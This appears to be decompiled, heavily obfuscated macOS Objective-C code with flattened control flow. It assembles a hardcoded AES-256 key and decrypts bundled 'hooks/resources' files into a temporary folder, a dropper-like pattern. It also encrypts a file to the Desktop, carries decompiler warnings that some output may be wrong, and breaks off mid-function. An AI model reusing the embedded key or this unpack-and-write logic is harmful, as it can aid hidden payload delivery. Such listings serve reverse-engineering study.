asc_10029B870[8] = 75;
asc_10029B870[9] = 110;
asc_10029B870[10] = 86;
asc_10029B870[11] = 114;
asc_10029B870[12] = 88;
asc_10029B870[13] = 116;
asc_10029B870[14] = 87;
asc_10029B870[15] = 100;
asc_10029B870[16] = 81;
asc_10029B870[17] = 111;
asc_10029B870[18] = 83;
asc_10029B870[19] = 119;
asc_10029B870[20] = 73;
asc_10029B870[21] = 118;
asc_10029B870[22] = 78;
asc_10029B870[23] = 117;
asc_10029B870[24] = 77;
asc_10029B870[25] = 108;
asc_10029B870[26] = 80;
asc_10029B870[27] = 97;
asc_10029B870[28] = 68;
asc_10029B870[29] = 106;
v8 = 89;
*v7 = 652280068;
break;
case 19389168:
asc_10029B870[30] = v8;
asc_10029B870[31] = 99;
asc_10029B870[32] = 0;
*v7 = -239899748;
break;
case 112725935:
v0 = -1720143686;
goto LABEL_53;
}
}
}
else if ( v4 > 886992751 )
{
switch ( v4 )
{
case 886992752:
dword_10029F71C = 1;
*v7 = -1205260772;
break;
case 1672926346:
v0 = -2064145503;
goto LABEL_53;
case 1960656590:
v0 = -632576461;
goto LABEL_53;
}
}
else
{
switch ( v4 )
{
case 333817628:
asc_10029B870[0] = 71;
asc_10029B870[1] = 109;
asc_10029B870[2] = 66;
*v7 = -1720143686;
break;
case 652280068:
v0 = -239899748;
goto LABEL_53;
case 766541146:
*v7 = 1672926346;
break;
}
}
}
if ( v4 <= -721408670 )
break;
if ( v4 > -632576462 )
{
switch ( v4 )
{
case -632576461:
v2 = HikariFunctionWrapper_613(
CFSTR("\x85k%QX\b\xA8y\x06\a%f\x1C\xBDI($\xD0\xD27\x91-3R(n\x8B\x11xC<\xA7\xB5"),
"dataUsingEncoding:");
v0 = -1939951372;
goto LABEL_53;
case -505430235:
*v7 = -240800193;
break;
case -240800193:
v0 = -1205260772;
goto LABEL_53;
}
}
else
{
switch ( v4 )
{
case -721408669:
*v7 = -78361334;
break;
case -697708299:
v0 = 1672926346;
goto LABEL_53;
case -637027407:
v0 = -240800193;
if ( v5 )
v0 = 112725935;
LABEL_53:
*v7 = v0;
break;
}
}
}
if ( v4 <= -1557592486 )
break;
switch ( v4 )
{
case -1557592485:
v5 = v3 == 0;
*v7 = -637027407;
break;
case -1521454315:
objc_msgSend(
CFSTR("\x85k%QX\b\xA8y\x06\a%f\x1C\xBDI($\xD0\xD27\x91-3R(n\x8B\x11xC<\xA7\xB5"),
"dataUsingEncoding:",
4);
*v7 = -632576461;
break;
case -1205260772:
dword_10029F71C = 1;
v0 = -194766475;
goto LABEL_53;
}
}
if ( v4 != -1939951372 )
break;
*v7 = -697708299;
}
if ( v4 != -1720143686 )
break;
asc_10029B870[0] = 71;
asc_10029B870[1] = 109;
asc_10029B870[2] = 66;
v6 = -53;
*v7 = -721408669;
}
}
while ( v4 != -2064145503 );
return v2;
}
// 100227C49: variable 'v2' is possibly undefined
// 10029B9C0: using guessed type __CFString stru_10029B9C0;
// 10029F71C: using guessed type int dword_10029F71C;
//----- (0000000100227C5C) ----------------------------------------------------
void __fastcall FileDecryptAndSave(void *a1, void *a2)
{
bool v2; // zf
int v3; // eax
int v4; // ecx
id v5; // rax
id v6; // r15
id v7; // rax
NSBundle *v8; // rax
NSBundle *v9; // r15
NSString *v10; // rax
NSString *v11; // rbx
NSString *v12; // rax
id v13; // rax
id v14; // r14
id v15; // rax
id v16; // r15
id v17; // rax
id v18; // rbx
id v19; // rax
id v20; // r12
id v21; // rax
id v22; // rbx
void *v23; // [rsp+8h] [rbp-78h]
id v24; // [rsp+10h] [rbp-70h]
const char *v25; // [rsp+18h] [rbp-68h]
id v26; // [rsp+20h] [rbp-60h]
NSString *v27; // [rsp+28h] [rbp-58h]
int v28; // [rsp+38h] [rbp-48h]
int v29; // [rsp+3Ch] [rbp-44h] BYREF
id v30; // [rsp+40h] [rbp-40h]
int *v31; // [rsp+48h] [rbp-38h]
bool v32; // [rsp+56h] [rbp-2Ah]
char v33; // [rsp+57h] [rbp-29h]
v30 = a1;
v28 = dword_10029F720;
v29 = -1963756445;
v31 = &v29;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v29 <= -1323639063 )
{
if ( v29 <= -2016200831 )
{
if ( v29 == -2060866785 )
{
aY_19[19] = 89;
aY_19[20] = 54;
aY_19[21] = 115;
aY_19[22] = 68;
v33 = 99;
*v31 = 585492884;
}
else if ( v29 == -2051558770 )
{
dword_10029F720 = 1;
v23 = &OBJC_CLASS___NSString;
objc_retain(a2);
*v31 = 832692543;
}
}
else
{
switch ( v29 )
{
case -2016200830:
*v31 = -322289590;
break;
case -1963756445:
v2 = 0;
v3 = -2016200830;
v4 = -322289590;
LABEL_22:
if ( !v2 )
v3 = v4;
LABEL_26:
*v31 = v3;
break;
case -1816678185:
v2 = !v32;
v3 = -2051558770;
v4 = 1185577068;
goto LABEL_22;
}
}
}
if ( v29 <= 706554502 )
break;
switch ( v29 )
{
case 706554503:
*v31 = -1816678185;
break;
case 832692543:
objc_retain(a1);
v5 = TemporaryDir();
v6 = objc_retainAutoreleasedReturnValue(v5);
v7 = HikariFunctionWrapper_615(v23, "stringWithFormat:");
v26 = objc_retainAutoreleasedReturnValue(v7);
objc_release(v6);
v8 = +[NSBundle mainBundle](&OBJC_CLASS___NSBundle, "mainBundle");
v9 = objc_retainAutoreleasedReturnValue(v8);
v10 = -[NSBundle resourcePath](v9, "resourcePath");
v11 = objc_retainAutoreleasedReturnValue(v10);
v12 = +[NSString stringWithFormat:](
&OBJC_CLASS___NSString,
"stringWithFormat:",
CFSTR("ǡA\xD7\xF1\bڹ\xE1\x72\x23\xD2\xDF80\a5\x19\x82\xE8\xF4\x7E"),
v11,
a1);
v27 = objc_retainAutoreleasedReturnValue(v12);
objc_release(a1);
objc_release(v11);
objc_release(v9);
v24 = &OBJC_CLASS___NSString;
v25 = "stringWithContentsOfFile:encoding:error:";
*v31 = -1323639062;
break;
case 1185577068:
asc_10029B8D9[0] = 37;
asc_10029B8D9[1] = 64;
asc_10029B8D9[2] = 0;
qmemcpy(aY_19, "PhCkZzjkTaQtJXVAWpT", 19);
*v31 = -2060866785;
break;
}
}
if ( v29 == -322289590 )
{
v32 = v28 == 0;
v3 = 706554503;
goto LABEL_26;
}
if ( v29 != 585492884 )
break;
aY_19[23] = v33;
aY_19[24] = 82;
aY_19[25] = 102;
aY_19[26] = 98;
aY_19[27] = 72;
aY_19[28] = 81;
aY_19[29] = 90;
aY_19[30] = 53;
aY_19[31] = 76;
aY_19[32] = 0;
strcpy(aAa, "%@/hooks/resources/%@");
*v31 = -2051558770;
}
}
while ( v29 != -1323639062 );
v13 = objc_msgSend(v24, v25, v27, 4, 0);
v14 = objc_retainAutoreleasedReturnValue(v13);
v30 = v14;
v15 = objc_alloc((Class)&OBJC_CLASS___NSData);
v16 = objc_msgSend(v15, "initWithBase64EncodedString:options:", v14, 0);
v17 = HikariFunctionWrapper_617(
CFSTR("y\xFE\xAA\xF5\xD5\xC9\xBE\r\x8A\x14~F\xD6\xC3U28[\x95\x93\\\xDB\x03\x8E\xF0\x71\x20\x3D\x94+`\xA0\xB5"),
"dataUsingEncoding:");
v18 = objc_retainAutoreleasedReturnValue(v17);
v19 = AES256DecryptWithData(v16, v18);
v20 = objc_retainAutoreleasedReturnValue(v19);
objc_release(v18);
v21 = objc_msgSend(v26, "stringByAppendingPathComponent:", a2);
v22 = objc_retainAutoreleasedReturnValue(v21);
objc_release(a2);
objc_msgSend(v20, "writeToFile:atomically:", v22, 1);
objc_release(v22);
objc_release(v20);
objc_release(v16);
objc_release(v30);
objc_release(v27);
objc_release(v26);
}
// 100228155: variable 'v23' is possibly undefined
// 100228318: variable 'v24' is possibly undefined
// 100228318: variable 'v25' is possibly undefined
// 100228318: variable 'v27' is possibly undefined
// 1002283A8: variable 'v26' is possibly undefined
// 10029BA60: using guessed type __CFString cfstr_Aa_0;
// 10029BAA0: using guessed type __CFString cfstr_Y_19;
// 10029F720: using guessed type int dword_10029F720;
//----- (000000010022840A) ----------------------------------------------------
id encryptionKey()
{
bool v0; // zf
int v1; // eax
int v2; // ecx
char v3; // cf
int v4; // ecx
char v5; // cf
int v6; // ecx
id v7; // rax
id v9; // [rsp+0h] [rbp-50h]
const char *v10; // [rsp+8h] [rbp-48h]
int v11; // [rsp+14h] [rbp-3Ch]
int v12; // [rsp+18h] [rbp-38h] BYREF
bool v13; // [rsp+1Dh] [rbp-33h]
char v14; // [rsp+1Eh] [rbp-32h]
char v15; // [rsp+1Fh] [rbp-31h]
int *v16; // [rsp+20h] [rbp-30h]
v12 = 1242268518;
v16 = &v12;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v12 <= -487828560 )
{
if ( v12 <= -1465694749 )
{
if ( v12 <= -1807412668 )
{
switch ( v12 )
{
case -1891008821:
v1 = 1793343571;
goto LABEL_82;
case -1884253863:
*v16 = -22078759;
break;
case -1865372502:
LABEL_36:
*v16 = -1465694748;
break;
}
}
else if ( v12 > -1650635083 )
{
if ( v12 == -1650635082 )
{
aY_19[18] = v15;
aY_19[19] = 89;
aY_19[20] = 54;
aY_19[21] = 115;
aY_19[22] = 68;
aY_19[23] = 99;
aY_19[24] = 82;
aY_19[25] = 102;
aY_19[26] = 98;
aY_19[27] = 72;
aY_19[28] = 81;
aY_19[29] = 90;
aY_19[30] = 53;
aY_19[31] = 76;
aY_19[32] = 0;
*v16 = 1793343571;
}
else if ( v12 == -1551350745 )
{
v0 = 0;
v10 = "dataUsingEncoding:";
v1 = -1551350745;
v2 = 1519715859;
goto LABEL_68;
}
}
else
{
if ( v12 == -1807412667 )
{
v7 = objc_msgSend(
CFSTR("y\xFE\xAA\xF5\xD5\xC9\xBE\r\x8A\x14~F\xD6\xC3U28[\x95\x93\\\xDB\x03\x8E\xF0\x71\x20\x3D\x94+`\xA0\xB5"),
v10,
4);
v3 = 0;
v9 = v7;
v1 = -1807412667;
v4 = 1307258978;
goto LABEL_64;
}
if ( v12 == -1733213322 )
{
v0 = !v13;
v1 = 273302424;
v2 = -1865372502;
goto LABEL_68;
}
}
}
else if ( v12 > -1299767958 )
{
if ( v12 > -856882579 )
{
if ( v12 == -856882578 )
{
*v16 = -487828559;
}
else if ( v12 == -645304334 )
{
v5 = 0;
v1 = 340336496;
v6 = -1361785762;
goto LABEL_72;
}
}
else if ( v12 == -1299767957 )
{
*v16 = -1891008821;
}
else if ( v12 == -1104993921 )
{
v3 = 0;
v1 = 1853258701;
v4 = -1551350745;
goto LABEL_64;
}
}
else if ( v12 > -1361785763 )
{
if ( v12 == -1361785762 )
{
aY_19[14] = v14;
aY_19[15] = 65;
aY_19[16] = 87;
aY_19[17] = 112;
*v16 = 340336496;
}
else if ( v12 == -1331818518 )
{
*v16 = -645304334;
}
}
else
{
if ( v12 == -1465694748 )
{
qmemcpy(aY_19, "PhCkZzjkTaQtJX", 14);
v5 = 1;
v14 = 86;
v1 = -1465694748;
v6 = -1331818518;
LABEL_72:
if ( v5 )
v1 = v6;
goto LABEL_82;
}
if ( v12 == -1365476036 )
*v16 = 273302424;
}
}
if ( v12 > 857585133 )
break;
if ( v12 <= 340336495 )
{
switch ( v12 )
{
case -487828559:
v1 = -1733213322;
goto LABEL_82;
case -22078759:
v13 = v11 == 0;
*v16 = 1112845428;
break;
case 273302424:
dword_10029F724 = 1;
*v16 = -1104993921;
break;
}
}
else if ( v12 > 397612249 )
{
if ( v12 == 397612250 )
{
v0 = 0;
v1 = 857585134;
v2 = -1807412667;
LABEL_68:
if ( !v0 )
v1 = v2;
LABEL_82:
*v16 = v1;
}
else if ( v12 == 539130881 )
{
v11 = dword_10029F724;
*v16 = -1884253863;
}
}
else
{
if ( v12 == 340336496 )
{
v3 = 1;
aY_19[14] = v14;
aY_19[15] = 65;
aY_19[16] = 87;
aY_19[17] = 112;
v15 = 84;
v1 = -1299767957;
v4 = 340336496;
LABEL_64:
if ( !v3 )
v1 = v4;
goto LABEL_82;
}
if ( v12 == 394516242 )
*v16 = 539130881;
}
}
if ( v12 <= 1519715858 )
break;
if ( v12 > 1793343570 )
{
if ( v12 == 1793343571 )
{
aY_19[18] = v15;
aY_19[19] = 89;
aY_19[20] = 54;
aY_19[21] = 115;
aY_19[22] = 68;
aY_19[23] = 99;
aY_19[24] = 82;
aY_19[25] = 102;
v3 = 0;
aY_19[26] = 98;
aY_19[27] = 72;
aY_19[28] = 81;
aY_19[29] = 90;
aY_19[30] = 53;
aY_19[31] = 76;
aY_19[32] = 0;
v1 = 1793343571;
v4 = -1365476036;
goto LABEL_64;
}
if ( v12 == 1853258701 )
*v16 = -1551350745;
}
else if ( v12 == 1519715859 )
{
*v16 = 397612250;
}
else if ( v12 == 1667892176 )
{
qmemcpy(aY_19, "PhCkZzjkTaQtJX", 14);
goto LABEL_36;
}
}
if ( v12 > 1242268517 )
break;
if ( v12 == 857585134 )
{
objc_msgSend(
CFSTR("y\xFE\xAA\xF5\xD5\xC9\xBE\r\x8A\x14~F\xD6\xC3U28[\x95\x93\\\xDB\x03\x8E\xF0\x71\x20\x3D\x94+`\xA0\xB5"),
v10,
4);
*v16 = -1807412667;
}
else if ( v12 == 1112845428 )
{
v1 = -487828559;
goto LABEL_82;
}
}
if ( v12 == 1242268518 )
{
v5 = 1;
v1 = 394516242;
v6 = 539130881;
goto LABEL_72;
}
}
while ( v12 != 1307258978 );
return v9;
}
// 1002288A0: variable 'v10' is possibly undefined
// 100228EB0: variable 'v11' is possibly undefined
// 100228F4A: variable 'v9' is possibly undefined
// 10029BB20: using guessed type __CFString cfstr_Y_19_0;
// 10029F724: using guessed type int dword_10029F724;
//----- (0000000100228F5D) ----------------------------------------------------
__int64 __fastcall FileEncryptAndSave(void *a1, void *a2)
{
__int64 result; // rax
bool v3; // zf
int v4; // eax
int v5; // ecx
id v6; // rax
id v7; // r15
id v8; // r13
id v9; // rax
id v10; // r14
id v11; // rax
id v12; // r12
id v13; // rax
id v14; // r14
NSString *v15; // rax
id v16; // rax
id v17; // r12
NSString *v18; // rax
id v19; // rax
id v20; // rax
id v21; // rax
id v22; // rax
id v23; // r15
id v24; // r12
id v25; // rax
id v26; // r14
id v27; // [rsp+10h] [rbp-80h]
const char *v28; // [rsp+18h] [rbp-78h]
int v29; // [rsp+28h] [rbp-68h]
int v30; // [rsp+2Ch] [rbp-64h] BYREF
id v31; // [rsp+30h] [rbp-60h]
id v32; // [rsp+38h] [rbp-58h]
id v33; // [rsp+40h] [rbp-50h]
id v34; // [rsp+48h] [rbp-48h]
id v35; // [rsp+50h] [rbp-40h]
bool v36; // [rsp+5Fh] [rbp-31h]
int *v37; // [rsp+60h] [rbp-30h]
v33 = a2;
v30 = 1553758132;
v37 = &v30;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v30;
if ( v30 > -173298027 )
break;
if ( v30 <= -1155022482 )
{
if ( v30 > -1583170834 )
{
switch ( v30 )
{
case -1583170833:
aAa[1] = 64;
aAa[2] = 47;
aAa[3] = 104;
aAa[4] = 111;
aAa[5] = 111;
aAa[6] = 107;
aAa[7] = 115;
aAa[8] = 47;
aAa[9] = 114;
aAa[10] = 101;
aAa[11] = 115;
aAa[12] = 111;
aAa[13] = 117;
aAa[14] = 114;
aAa[15] = 99;
aAa[16] = 101;
aAa[17] = 115;
aAa[18] = 47;
aAa[19] = 37;
aAa[20] = 64;
aAa[21] = 0;
asc_10029B8D9[0] = 37;
asc_10029B8D9[1] = 64;
asc_10029B8D9[2] = 0;
qmemcpy(aY_19, "PhCkZzjkTaQtJXV", 15);
v4 = -173298026;
goto LABEL_65;
case -1371874586:
*v37 = 885866619;
break;
case -1292526972:
LABEL_36:
*v37 = 1756123987;
break;
}
}
else
{
switch ( v30 )
{
case -2022900270:
v4 = -1110678277;
goto LABEL_65;
case -1922807902:
aAa[0] = 37;
*v37 = -64412289;
break;
case -1829210776:
objc_release(v27);
*v37 = -1110678277;
break;
}
}
}
else if ( v30 <= -932378950 )
{
switch ( v30 )
{
case -1155022481:
goto LABEL_36;
case -1110678277:
objc_release(v27);
v28 = "base64EncodedStringWithOptions:";
v4 = -486596753;
goto LABEL_65;
case -1068519611:
*v37 = -143043770;
break;
}
}
else if ( v30 > -486596754 )
{
if ( v30 == -486596753 )
{
*v37 = -932378949;
}
else if ( v30 == -398507011 )
{
v4 = 1919408441;
goto LABEL_65;
}
}
else
{
if ( v30 == -932378949 )
{
v4 = 828645420;
goto LABEL_65;
}
if ( v30 == -739468851 )
{
aAa[1] = 64;
aAa[2] = 47;
aAa[3] = 104;
aAa[4] = 111;
aAa[5] = 111;
aAa[6] = 107;
aAa[7] = 115;
aAa[8] = 47;
aAa[9] = 114;
aAa[10] = 101;
aAa[11] = 115;
aAa[12] = 111;
aAa[13] = 117;
aAa[14] = 114;
aAa[15] = 99;
aAa[16] = 101;
aAa[17] = 115;
aAa[18] = 47;
aAa[19] = 37;
aAa[20] = 64;
aAa[21] = 0;
asc_10029B8D9[0] = 37;
asc_10029B8D9[1] = 64;
asc_10029B8D9[2] = 0;
qmemcpy(aY_19, "PhCkZzjkTaQtJXV", 15);
*v37 = -1583170833;
}
}
}
if ( v30 > 868519251 )
break;
if ( v30 <= -47341623 )
{
switch ( v30 )
{
case -173298026:
*v37 = -398507011;
break;
case -143043770:
v3 = !v36;
v4 = 885866619;
v5 = -1922807902;
goto LABEL_63;
case -64412289:
v3 = 0;
v4 = -739468851;
v5 = -1583170833;
goto LABEL_63;
}
}
else if ( v30 > 793793320 )
{
if ( v30 == 793793321 )
{
*v37 = -1292526972;
}
else if ( v30 == 828645420 )
{
v6 = objc_msgSend(v35, v28, 0);
v7 = objc_retainAutoreleasedReturnValue(v6);
v8 = v33;
v9 = HikariFunctionWrapper_623(v34, "stringByAppendingPathComponent:");
v10 = objc_retainAutoreleasedReturnValue(v9);
objc_release(v8);
objc_msgSend(v7, "writeToFile:atomically:encoding:error:", v10, 1, 4, 0);
objc_release(v10);
objc_release(v7);
objc_release(v35);
objc_release(v32);
objc_release(v34);
objc_release(v31);
v3 = 0;
v4 = 828645420;
v5 = 868519252;
goto LABEL_63;
}
}
else if ( v30 == -47341622 )
{
v22 = HikariFunctionWrapper_625(v35, v28);
v23 = objc_retainAutoreleasedReturnValue(v22);
v24 = v33;
v25 = objc_msgSend(v34, "stringByAppendingPathComponent:", v33);
v26 = objc_retainAutoreleasedReturnValue(v25);
objc_release(v24);
objc_msgSend(v23, "writeToFile:atomically:encoding:error:", v26, 1, 4, 0);
objc_release(v26);
objc_release(v23);
objc_release(v35);
objc_release(v32);
objc_release(v34);
objc_release(v31);
*v37 = 828645420;
}
else if ( v30 == 18630351 )
{
aY_19[15] = 65;
aY_19[16] = 87;
aY_19[17] = 112;
aY_19[18] = 84;
aY_19[19] = 89;
aY_19[20] = 54;
aY_19[21] = 115;
aY_19[22] = 68;
aY_19[23] = 99;
aY_19[24] = 82;
aY_19[25] = 102;
aY_19[26] = 98;
aY_19[27] = 72;
aY_19[28] = 81;
aY_19[29] = 90;
aY_19[30] = 53;
aY_19[31] = 76;
aY_19[32] = 0;
*v37 = 1919408441;
}
}
if ( v30 <= 1739535465 )
break;
switch ( v30 )
{
case 1739535466:
v3 = 0;
v29 = dword_10029F728;
v4 = 1616686341;
v5 = 793793321;
goto LABEL_63;
case 1756123987:
v36 = v29 == 0;
v3 = 0;
v4 = 1756123987;
v5 = -1068519611;
LABEL_63:
if ( !v3 )
v4 = v5;
LABEL_65:
*v37 = v4;
break;
case 1919408441:
aY_19[15] = 65;
aY_19[16] = 87;
aY_19[17] = 112;
aY_19[18] = 84;
aY_19[19] = 89;
aY_19[20] = 54;
aY_19[21] = 115;
aY_19[22] = 68;
v3 = 0;
aY_19[23] = 99;
aY_19[24] = 82;
aY_19[25] = 102;
aY_19[26] = 98;
aY_19[27] = 72;
aY_19[28] = 81;
aY_19[29] = 90;
aY_19[30] = 53;
aY_19[31] = 76;
aY_19[32] = 0;
v4 = 18630351;
v5 = -1371874586;
goto LABEL_63;
}
}
if ( v30 <= 1553758131 )
break;
if ( v30 == 1553758132 )
{
v4 = 1739535466;
goto LABEL_65;
}
if ( v30 == 1616686341 )
*v37 = 1739535466;
}
if ( v30 != 885866619 )
break;
dword_10029F728 = 1;
objc_retain(v33);
objc_retain(a1);
v11 = HikariFunctionWrapper_619(&OBJC_CLASS___NSBundle, "mainBundle");
v12 = objc_retainAutoreleasedReturnValue(v11);
v13 = objc_msgSend(v12, "resourcePath");
v14 = objc_retainAutoreleasedReturnValue(v13);
v15 = +[NSString stringWithFormat:](
&OBJC_CLASS___NSString,
"stringWithFormat:",
CFSTR("ǡA\xD7\xF1\bڹ\xE1\x72\x23\xD2\xDF80\a5\x19\x82\xE8\xF4\x7E"),
v14,
a1);
v31 = objc_retainAutoreleasedReturnValue(v15);
objc_release(a1);
objc_release(v14);
objc_release(v12);
v16 = DesktopDir();
v17 = objc_retainAutoreleasedReturnValue(v16);
v18 = +[NSString stringWithFormat:](&OBJC_CLASS___NSString, "stringWithFormat:", CFSTR("[\xF8U"), v17);
v34 = objc_retainAutoreleasedReturnValue(v18);
objc_release(v17);
v19 = HikariFunctionWrapper_621(&OBJC_CLASS___NSData, "dataWithContentsOfFile:");
v32 = objc_retainAutoreleasedReturnValue(v19);
v20 = objc_msgSend(
CFSTR("y\xFE\xAA\xF5\xD5\xC9\xBE\r\x8A\x14~F\xD6\xC3U28[\x95\x93\\\xDB\x03\x8E\xF0\x71\x20\x3D\x94+`\xA0\xB5"),
"dataUsingEncoding:",
4);
v27 = objc_retainAutoreleasedReturnValue(v20);
v21 = AES256EncryptWithData(v32, v27);
v35 = objc_retainAutoreleasedReturnValue(v21);
*v37 = -2022900270;
}
}
while ( v30 != 868519252 );
return result;
}
// 1002294A8: variable 'v27' is possibly undefined
// 10022980C: variable 'v28' is possibly undefined
// 100229FD4: variable 'v29' is possibly undefined
// 10029BB60: using guessed type __CFString cfstr_Y_19_1;
// 10029BBA0: using guessed type __CFString stru_10029BBA0;
// 10029BBE0: using guessed type __CFString cfstr_Aa_1;
// 10029F728: using guessed type int dword_10029F728;
//----- (000000010022A00F) ----------------------------------------------------
// bad sp value at call has been detected, the output may be wrong!
id __fastcall AES256EncryptWithData(id a1, void *a2)
{
bool v2; // zf
int v3; // eax
id v4; // rax
bool v5; // zf
int v6; // ecx
char v7; // cf
int v8; // ecx
char v9; // cf
id v10; // rax
id v11; // rax
int v12; // ecx
id v13; // rax
id v14; // rax
__int128 v16; // [rsp-30h] [rbp-E0h] BYREF
__int128 v17; // [rsp-20h] [rbp-D0h]
__int64 v18; // [rsp-10h] [rbp-C0h] BYREF
void *v19; // [rsp+8h] [rbp-A8h]
size_t dataInLength; // [rsp+10h] [rbp-A0h]
size_t dataOutAvailable; // [rsp+18h] [rbp-98h]
void *dataIn; // [rsp+20h] [rbp-90h]
id v23; // [rsp+28h] [rbp-88h]
size_t v24; // [rsp+30h] [rbp-80h]
SEL v25; // [rsp+38h] [rbp-78h]
id v26; // [rsp+40h] [rbp-70h]
id v27; // [rsp+48h] [rbp-68h]
int v28; // [rsp+50h] [rbp-60h]
int v29; // [rsp+54h] [rbp-5Ch] BYREF
void *key; // [rsp+58h] [rbp-58h]
size_t *dataOutMoved; // [rsp+60h] [rbp-50h]
void *dataOut; // [rsp+68h] [rbp-48h]
bool v33; // [rsp+77h] [rbp-39h]
int *v34; // [rsp+78h] [rbp-38h]
__int64 v35; // [rsp+80h] [rbp-30h]
v27 = a2;
v35 = -1;
v28 = 1;
v29 = -1710630906;
v34 = &v29;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v29 > 74159833 )
{
if ( v29 <= 1201477712 )
{
if ( v29 > 719425898 )
{
switch ( v29 )
{
case 719425899:
*v34 = -1055103197;
break;
case 1181134326:
*v34 = -1078279870;
v26 = v19;
break;
case 1189289403:
free(dataOut);
LABEL_37:
*v34 = 1957635788;
break;
}
}
else
{
switch ( v29 )
{
case 74159834:
objc_release(a1);
CCCrypt(0, 0, 3u, key, 0x20u, 0, dataIn, dataInLength, dataOut, dataOutAvailable, dataOutMoved);
*v34 = -1500585702;
break;
case 167491313:
*v34 = -722832994;
break;
case 663676300:
*v34 = 2038154229;
break;
}
}
}
else if ( v29 <= 1594263078 )
{
switch ( v29 )
{
case 1201477713:
v9 = 0;
v3 = 167491313;
LABEL_61:
if ( !v9 )
v3 = -722832994;
LABEL_71:
*v34 = v3;
break;
case 1461014479:
*v34 = -1305658653;
break;
case 1556789923:
v7 = 0;
v3 = -1500585702;
v8 = 74159834;
goto LABEL_53;
}
}
else if ( v29 > 1957635787 )
{
if ( v29 == 1957635788 )
{
HikariFunctionWrapper_631(dataOut);
v7 = 1;
v3 = 1189289403;
v8 = 719425899;
LABEL_53:
if ( v7 )
v3 = v8;
goto LABEL_71;
}
if ( v29 == 2038154229 )
{
v7 = 1;
v25 = "dataWithBytesNoCopy:length:";
v3 = 663676300;
v8 = -371713852;
goto LABEL_53;
}
}
else
{
if ( v29 == 1594263079 )
{
v10 = objc_msgSend(v23, v25, dataOut, v24);
v11 = objc_retainAutoreleasedReturnValue(v10);
v2 = 0;
v19 = v11;
v3 = 1181134326;
v12 = 1874379599;
goto LABEL_69;
}
if ( v29 == 1874379599 )
{
v4 = objc_msgSend(v23, v25, dataOut, v24);
objc_retainAutoreleasedReturnValue(v4);
*v34 = 1594263079;
}
}
}
if ( v29 > -1078279871 )
break;
if ( v29 <= -1761047755 )
{
switch ( v29 )
{
case -2138924209:
v17 = 0;
v16 = 0;
objc_retain(a1);
objc_msgSend(v27, "getBytes:length:", &v16, 33);
v13 = objc_msgSend(a1, "length");
malloc((size_t)v13 + 16);
v18 = 0;
objc_retainAutorelease(a1);
objc_msgSend(a1, "bytes");
*v34 = -414731158;
break;
case -1808855300:
*v34 = -464254512;
break;
case -1771580888:
v7 = 1;
v3 = 1874379599;
v8 = 1594263079;
goto LABEL_53;
}
}
else if ( v29 > -1500585703 )
{
if ( v29 == -1500585702 )
{
objc_release(a1);
v33 = HikariFunctionWrapper_629(
0,
0,
3u,
key,
0x20u,
0,
dataIn,
dataInLength,
dataOut,
dataOutAvailable,
dataOutMoved) == 0;
v5 = 0;
v3 = -1500585702;
v6 = -1808855300;
LABEL_57:
if ( !v5 )
v3 = v6;
goto LABEL_71;
}
if ( v29 == -1305658653 )
{
v5 = 0;
v3 = 663676300;
v6 = 2038154229;
goto LABEL_57;
}
}
else
{
if ( v29 == -1761047754 )
goto LABEL_37;
if ( v29 == -1710630906 )
{
v2 = v28 == 2132193782;
v3 = -414731158;
LABEL_68:
v12 = -2138924209;
LABEL_69:
if ( v2 )
v3 = v12;
goto LABEL_71;
}
}
}
if ( v29 <= -414731159 )
break;
switch ( v29 )
{
case -414731158:
key = &v16;
dataOutMoved = (size_t *)&v18;
v17 = 0;
v16 = 0;
LOBYTE(v18) = 0;
objc_retain(a1);
objc_msgSend(v27, "getBytes:length:", key, 33);
dataInLength = (size_t)objc_msgSend(a1, "length");
dataOutAvailable = dataInLength + 16;
dataOut = HikariFunctionWrapper_627(dataInLength + 16);
*dataOutMoved = 0;
objc_retainAutorelease(a1);
v14 = objc_msgSend(a1, "bytes");
v2 = 0;
dataIn = v14;
v3 = -177522983;
goto LABEL_68;
case -371713852:
*v34 = -1771580888;
break;
case -177522983:
*v34 = 1556789923;
break;
}
}
if ( v29 <= -722832995 )
break;
if ( v29 == -722832994 )
{
v9 = 1;
v23 = &OBJC_CLASS___NSData;
v24 = *dataOutMoved;
v3 = 1461014479;
goto LABEL_61;
}
if ( v29 == -464254512 )
{
v5 = !v33;
v3 = -1761047754;
v6 = 1201477713;
goto LABEL_57;
}
}
if ( v29 != -1055103197 )
break;
*v34 = -1078279870;
v26 = 0;
}
}
while ( v29 != -1078279870 );
return objc_autoreleaseReturnValue(v26);
}
// 10022A608: bad sp value at call
//----- (000000010022A834) ----------------------------------------------------
// bad sp value at call has been detected, the output may be wrong!
id __fastcall decryptMyData(void *a1)
{
bool v1; // zf
int v2; // eax
int v3; // ecx
int v4; // eax
bool v5; // zf
int v6; // ecx
char v7; // cf
int v8; // ecx
id v9; // r14
id v10; // rax
bool v11; // cf
int v12; // ecx
void *v13; // rax
size_t v14; // r12
id v15; // r13
id v16; // rax
id v17; // rbx
_BYTE *v18; // rax
id v19; // rax
id v20; // rax
id v21; // rax
id v22; // rax
__int128 v24; // [rsp-20h] [rbp-E0h] BYREF
char v25; // [rsp-10h] [rbp-D0h] BYREF
id v26; // [rsp+8h] [rbp-B8h]
id v27; // [rsp+10h] [rbp-B0h]
id v28; // [rsp+18h] [rbp-A8h]
void *v29; // [rsp+20h] [rbp-A0h]
id v30; // [rsp+28h] [rbp-98h]
unsigned int v31; // [rsp+34h] [rbp-8Ch]
int v32; // [rsp+38h] [rbp-88h]
int v33; // [rsp+3Ch] [rbp-84h] BYREF
void *key; // [rsp+40h] [rbp-80h]
void *iv; // [rsp+48h] [rbp-78h]
size_t *dataOutMoved; // [rsp+50h] [rbp-70h]
SEL v37; // [rsp+58h] [rbp-68h]
id v38; // [rsp+60h] [rbp-60h]
id v39; // [rsp+68h] [rbp-58h]
void *dataOut; // [rsp+70h] [rbp-50h]
id v41; // [rsp+78h] [rbp-48h]
bool v42; // [rsp+85h] [rbp-3Bh]
bool v43; // [rsp+86h] [rbp-3Ah]
char v44; // [rsp+87h] [rbp-39h]
int *v45; // [rsp+88h] [rbp-38h]
__int64 v46; // [rsp+90h] [rbp-30h]
v30 = a1;
v46 = -1;
v31 = 1857103144;
v33 = 1984093972;
v45 = &v33;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
